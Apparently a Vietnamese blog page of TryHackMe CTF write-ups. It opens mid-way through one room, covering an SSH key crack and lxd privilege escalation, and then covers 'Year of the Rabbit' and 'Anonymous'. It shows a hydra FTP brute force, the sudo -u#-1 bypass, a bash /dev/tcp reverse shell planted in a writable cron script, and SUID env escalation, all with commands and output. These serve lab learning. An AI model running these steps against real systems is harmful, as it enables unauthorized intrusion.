Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
******          (key)     
1g 0:00:00:00 DONE (2022-08-04 22:54) 5.000g/s 1115p/s 1115c/s 1115C/s 2003

Login ssh và tôi có user flag

john@exploitable:~$ ls
user.txt

Privilege escalation

john@exploitable:~$ id
uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)

Tôi để ý user John nằm trong group lxd, đây cũng là 1 exploit khá hay nhưng trước hết tôi sẽ thử các exploit phổ biến trước, nếu không thể thì tôi sẽ quay lại lxd. Tuy nhiên sau 1 lúc loay hoay với sudo -l hay tìm SUID đều không có kết quả, tôi sẽ quay lại lxd.

lxd về bản chất thì tương tự như Docker tuy nhiên nó có thể chứa được cả hệ điều hành trong 1 container. Và với lxd tôi sẽ làm theo hướng dẫn ở đây

Đầu tiên tải build-alpine:

┌──(neokali)-[~]
└─$ wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
--2022-08-05 03:03:48--  https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.108.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8060 (7.9K) [text/plain]
Saving to: build-alpine

build-alpine                                    100%[====================================================================================================>]   7.87K  --.-KB/s    in 0.001s  

2022-08-05 03:03:48 (6.13 MB/s) - build-alpine saved [8060/8060]

Sau đó build container:

┌──(rootkali)-[/home/neo]
└─# ./build-alpine 
Determining the latest release... v3.16
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.16/main/x86_64
Downloading apk-tools-static-2.12.9-r3.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
Downloading alpine-keys-2.4-r1.apk
...

Sau khi build xong thì tôi sẽ có được 1 container như thế này:

┌──(rootkali)-[/home/neo]
└─# ll
total 4228
-rw-r--r-- 1 root root 3203668 Aug  5 03:07 alpine-v3.16-x86_64-20220805_0307.tar.gz

Việc tiếp theo là tạo http server bằng python để upload nó lên remote machine:

john@exploitable:~$ wget http://10.18.3.74:9000/alpine-v3.16-x86_64-20220805_0307.tar.gz
--2022-08-05 07:10:52--  http://10.18.3.74:9000/alpine-v3.16-x86_64-20220805_0307.tar.gz
Connecting to 10.18.3.74:9000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3203668 (3.1M) [application/gzip]
Saving to: alpine-v3.16-x86_64-20220805_0307.tar.gz

alpine-v3.16-x86_64-20220805_0307.tar.gz        100%[====================================================================================================>]   3.05M   614KB/s    in 5.5s    

2022-08-05 07:10:58 (571 KB/s) - alpine-v3.16-x86_64-20220805_0307.tar.gz saved [3203668/3203668]

Sau đó thì thêm image vào lxd và thử kiểm tra xem lxd đã nhận image chưa:

john@exploitable:/var/tmp$ lxc image import alpine-v3.16-x86_64-20220805_0307.tar.gz --alias myimage
Image imported with fingerprint: 963724185ee69c3baf96c05771e0e4e0fdcbb4b75bed127ab48877a7533ac0b6
john@exploitable:/var/tmp$ lxc image list
+---------+--------------+--------+-------------------------------+--------+--------+-----------------------------+
|  ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          |  ARCH  |  SIZE  |         UPLOAD DATE         |
+---------+--------------+--------+-------------------------------+--------+--------+-----------------------------+
| myimage | 963724185ee6 | no     | alpine v3.16 (20220805_03:07) | x86_64 | 3.06MB | Aug 5, 2022 at 7:45am (UTC) |
+---------+--------------+--------+-------------------------------+--------+--------+-----------------------------+

Sau đó làm theo các câu lệnh như exploit bên trên:

john@exploitable:/var/tmp$ lxc init myimage ignite -c security.privileged=true
Creating ignite
john@exploitable:/var/tmp$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to ignite
john@exploitable:/var/tmp$ lxc start ignite
john@exploitable:/var/tmp$ lxc exec ignite /bin/sh
~ # id
uid=0(root) gid=0(root)
~ # find / -type f -name root.txt 2>/dev/null
/mnt/root/root/root.txt

Tổng kết

Qua bài này, tôi biết thêm về lxd container và cách leo thang đặc quyền với nó. Và nó cũng rất hữu ích để tạo container cho cả hệ điều hành và tôi có thể đẩy nó lên bất cứ đâu mà không phải cài lại cả hệ điều hành.

Tryhackme - Year of the Rabbit

  1. Reconnaissance
  2. SSH
  3. Privilege escalation
  4. Tổng kết

Xin chào, Lẩu đây. Hôm nay tôi sẽ giải CTF Tryhackme - Year of the Rabbit.

Reconnaissance

Vẫn như thông thường thôi, việc đầu tiên cần làm là quét cổng.

PORT   STATE SERVICE REASON  VERSION
21/tcp open  ftp     syn-ack vsftpd 3.0.2
22/tcp open  ssh     syn-ack OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   1024 a0:8b:6b:78:09:39:03:32:ea:52:4c:20:3e:82:ad:60 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAILCKdtvyy1FqH1gBS+POXpHMlDynp+m6Ewj2yoK2PJKJeQeO2yRty1/qcf0eAHJGRngc9+bRPYe4M518+7yBVdO2p8UbIItiGzQHEXJu0tGdhIxmpbTdCT6V8HqIDjzrq2OB/PmsjoApVHv9N5q1Mb2i9J9wcnzlorK03gJ9vpxAAAAFQDVV1vsKCWHW/gHLSdO40jzZKVoyQAAAIA9EgFqJeRxwuCjzhyeASUEe+Wz9PwQ4lJI6g1z/1XNnCKQ9O6SkL54oTkB30RbFXBT54s3a11e5ahKxtDp6u9yHfItFOYhBt424m14ks/MXkDYOR7y07FbBYP5WJWk0UiKdskRej9P79bUGrXIcHQj3c3HnwDfKDnflN56Fk9rIwAAAIBlt2RBJWg3ZUqbRSsdaW61ArR4YU7FVLDgU0pHAIF6eq2R6CCRDjtbHE4X5eW+jhi6XMLbRjik9XOK78r2qyQwvHADW1hSWF6FgfF2PF5JKnvPG3qF2aZ2iOj9BVmsS5MnwdSNBytRydx9QJiyaI4+HyOkwomj0SINqR9CxYLfRA==
|   2048 df:25:d0:47:1f:37:d9:18:81:87:38:76:30:92:65:1f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZyTWF65dczfLiKN0cNpHhm/nZ7FWafVaCf+Oxu7+9VM4GBO/8eWI5CedcIDkhU3Li/XBDUSELLXSRJOtQj5WdBOrFVBWWA3b3ICQqk0N1cmldVJRLoP1shBm/U5Xgs5QFx/0nvtXSGFwBGpfVKsiI/YBGrDkgJNAYdgWOzcQqol/nnam8EpPx0nZ6+c2ckqRCizDuqHXkNN/HVjpH0GhiscE6S6ULvq2bbf7ULjvWbrSAMEo6ENsy3RMEcQX+Ixxr0TQjKdjW+QdLay0sR7oIiATh5AL5vBGHTk2uR8ypsz1y7cTyXG2BjIVpNWeTzcip7a2/HYNNSJ1Y5QmAXoKd
|   256 be:9f:4f:01:4a:44:c8:ad:f5:03:cb:00:ac:8f:49:44 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHKavguvzBa889jvV30DH4fhXzMcLv6VdHFx3FVcAE0MqHRcLIyZcLcg6Rf0TNOhMQuu7Cut4Bf6SQseNVNJKK8=
|   256 db:b1:c1:b9:cd:8c:9d:60:4f:f1:98:e2:99:fe:08:03 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFBJPbfvzsYSbGxT7dwo158eVWRlfvXCxeOB4ypi9Hgh
80/tcp open  http    syn-ack Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
| http-methods: 
|_  Supported Methods: POST OPTIONS GET HEAD
|_http-title: Apache2 Debian Default Page: It works
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Port 21 không thể login, port 80 thì tôi có 1 default page. Không có gì quá đặc biệt để khai thác manual nên tôi sẽ dùng dirsearch tìm web path.

200 -    1KB - /assets/                                          
301 -  315B  - /assets  ->  http://10.10.173.165/assets/         
200 -    8KB - /index.html    

/assets/ tôi có 1 quả meme huyền thoại này và 1 file style.css. Xem qua file css này thì tôi tìm được 1 path mới.

new-path

Vào path này thì tôi có 1 popup

popup

Nếu ấn OK thì nó sẽ quay trở lại cái meme bên trên :expressionless: Tuy nhiên nếu không ấn OK thì page vẫn loading, tôi nghĩ rằng nó đang chờ để redirect, thử mở BurpSuite và kiểm tra và tôi tìm ra hidden_directory

hidden_directory

Trong dir ẩn này tôi có 1 bức ảnh, cũng không để làm gì, dùng binwalk hay steghide cũng không ra gì, mất vài phút bế tắc thì tôi đáp nó lên hexed.it và tìm ra user ftp server.

ftpuser

Vậy là tôi có ftp username và 1 list password. Copy list này vào 1 file wordlist và burteforce nó với hydra.

┌──(neokali)-[~/Downloads]
└─$ hydra -l ftpuser -P wordlist ftp://10.10.65.86                                                     
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-08-03 03:36:22
[DATA] max 16 tasks per 1 server, overall 16 tasks, 82 login tries (l:1/p:82), ~6 tries per task
[DATA] attacking ftp://10.10.65.86:21/
[21][ftp] host: 10.10.65.86   login: ftpuser   password: *************
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-08-03 03:36:38

Login vào ftp server, tôi có 1 file txt, lấy nó về và tôi có 1 đoạn mã Brainfuck, ngôn ngữ lập trình hại não nhất mà tôi từng biết, copy đoạn mã tôi có vào đây và tôi có 1 cặp username - password.

SSH

Login vào ssh

eli@10.10.65.86's password: 

1 new message
Message from Root to Gwendoline:
"Gwendoline, I am not happy with you. Check our leet s3cr3t hiding place. I've left you a hidden message there"
END MESSAGE

eli@year-of-the-rabbit:~$ 

Tôi có 1 message ở đây nhưng không phải cho Eli mà cho Gwendoline, trong thư mục /home/ cũng có user này và user flag cũng nằm ở đây. Tuy nhiên user Eli không có quyền truy cập. Quay lại message thì nó nói rằng có 1 nơi gọi là s3cr3t hiding place, vậy thì đây có thể lầ 1 thư mục nào đó.

eli@year-of-the-rabbit:~$ find / -type d -name *s3cr3t* 2>/dev/null
/usr/games/s3cr3t
eli@year-of-the-rabbit:~$ cd /usr/games/s3cr3t/
eli@year-of-the-rabbit:/usr/games/s3cr3t$ ls -la
total 12
drwxr-xr-x 2 root root 4096 Jan 23  2020 .
drwxr-xr-x 3 root root 4096 Jan 23  2020 ..
-rw-r--r-- 1 root root  138 Jan 23  2020 .th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly!

Sử dụng pass có được để đổi user và tôi có user flag.

Privilege escalation

sudo -l:

gwendoline@year-of-the-rabbit:~$ sudo -l
Matching Defaults entries for gwendoline on year-of-the-rabbit:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User gwendoline may run the following commands on year-of-the-rabbit:
    (ALL, !root) NOPASSWD: /usr/bin/vi /home/gwendoline/user.txt

Vào GTFOBins để tìm sudo. Tuy nhiên user gwendoline không thể sử dụng sudo để thực thi lệnh. Tôi thử check version của sudo: Sudo version 1.8.10p3 và tìm được vài thứ hay ho trên exploit-db. Tôi có thể sử dụng sudo -u#-1 để thực hiện lệnh vi với file user.txt

gwendoline@year-of-the-rabbit:~$ sudo -u#-1 vi /home/gwendoline/user.txt 

# id
uid=0(root) gid=0(root) groups=0(root)

Done.

Tổng kết

Bài này khá hay vì phải kết hợp nhiều thông tin cũng như nhiều công cụ. Đặc biệt là cách leo thang đặc quyền với exploit sudo. Và biết thêm 1 ngôn ngữ lập trình mới là Brainfuck, mặc dù vậy tôi không nghĩ là ngôn ngữ này có tính ứng dụng cao, chủ yếu để giải trí và làm CTF, hoặc do tôi chưa tìm được phần mềm hay chương trình nào viết bằng ngôn ngữ này, who knows!

Đọc thêm: Sudo

Tryhackme - Anonymous

  1. Reconnaissance
  2. Privilege escalation
  3. Conclusion

Anonymous

Xin chào, Lẩu đây. Hôm nay tôi sẽ giải CTF Tryhackme - Anonymous.

Reconnaissance

Vẫn như thông thường thôi, việc đầu tiên cần làm là quét cổng.

┌──(neokali)-[~]
└─$ rustscan -a 10.10.135.18 -- -sC -sV
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at "/home/neo/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.10.135.18:21
Open 10.10.135.18:22
Open 10.10.135.18:139
Open 10.10.135.18:445

Ở đây tôi có port 139 và 445, 2 port sử dụng trong SMB của Windows. À trước đó thì thử truy cập vào port 21 với Anonymous xem có gì hay ho không.

ftp> ls
229 Entering Extended Passive Mode (|||36762|)
150 Here comes the directory listing.
drwxrwxrwx    2 111      113          4096 Jun 04  2020 scripts
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||60923|)
150 Here comes the directory listing.
-rwxr-xrwx    1 1000     1000          314 Jun 04  2020 clean.sh
-rw-rw-r--    1 1000     1000         1634 Jul 30 08:50 removed_files.log
-rw-r--r--    1 1000     1000           68 May 12  2020 to_do.txt

Nhìn vào phân quyền của /scripts/ và file clean.sh thì tôi có thể sửa file. Lấy các file này về và thử kiểm tra thì tôi nhận ra đây file clean.sh chạy liên tục để ghi dữ liệu vào file removed_files.log.

Từ 2 điều này tôi nghĩ rằng mình có thể thêm payload vào file thực thi sau đó put lại lên ftp server, file thực thi sẽ chạy payload và tôi sẽ có shell. Tôi dùng payload của pentestmonkey: bash -i >& /dev/tcp/10.10.135.18/12345 0>&1

Trước khi put file thì tạo listner từ local machine: nc -lnvp 12345

ftp> put /home/neo/THM-Anonymous/clean.sh clean.sh
local: /home/neo/THM-Anonymous/clean.sh remote: clean.sh
229 Entering Extended Passive Mode (|||14310|)
150 Ok to send data.
100% |************************************************************************************************************************************************|   356        5.30 MiB/s    00:00 ETA
226 Transfer complete.
┌──(neokali)-[~/THM-Anonymous]
└─$ nc -lnvp 12345
listening on [any] 12345 ...
connect to [10.18.3.74] from (UNKNOWN) [10.10.135.18] 34374
bash: cannot set terminal process group (1460): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$ ls
pics
user.txt
namelessone@anonymous:~$ 

Vậy là tôi có user flag.

Privilege escalation

Tôi thử sudo -l nhưng bị yêu cầu password, bỏ qua cách này. Tôi để ý còn thư mục pics, trong này có 2 file ảnh, tôi sẽ tạo http server trên đây và wget 2 file này về để xem có gì đặc biệt không. Và sau 1 lúc thì không =))))

Tôi còn 1 cách khác là tìm progame với SUID của root: find / -type f -perm -u=s 2>/dev/null, và nó ra 1 list rất nhiều thứ, nhưng thứ đập vào mắt tôi là /usr/bin/env. env là lệnh cho phép chạy 1 chương trình khác trong môi trường tùy chỉnh mà không cần thay đổi chương tình đang chạy hiện tại. Nó khá hữu ích khi chúng ta muốn có 1 môi trường ảo để test các chương trình hay cài đặt các packages mà không muốn nó gây ảnh hưởng đến hệ thống đang hoạt động.

Tôi vào GTFOBins và tìm thấy env có SUID, thử xem sao.

namelessone@anonymous:~$ env /bin/sh -p
# id
uid=1000(namelessone) gid=1000(namelessone) euid=0(root) groups=1000(namelessone),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
# whoami
root
# ls /root
root.txt
# 

Conclusion

Qua bài này tôi biết thêm về env và cách leo thang đặc quyền với SUID. Còn lại thì cũng không có gì mới lắm.

  • Đọc thêm về env
  • Đọc thêm về SUID

Pagination


© 2025. All rights reserved.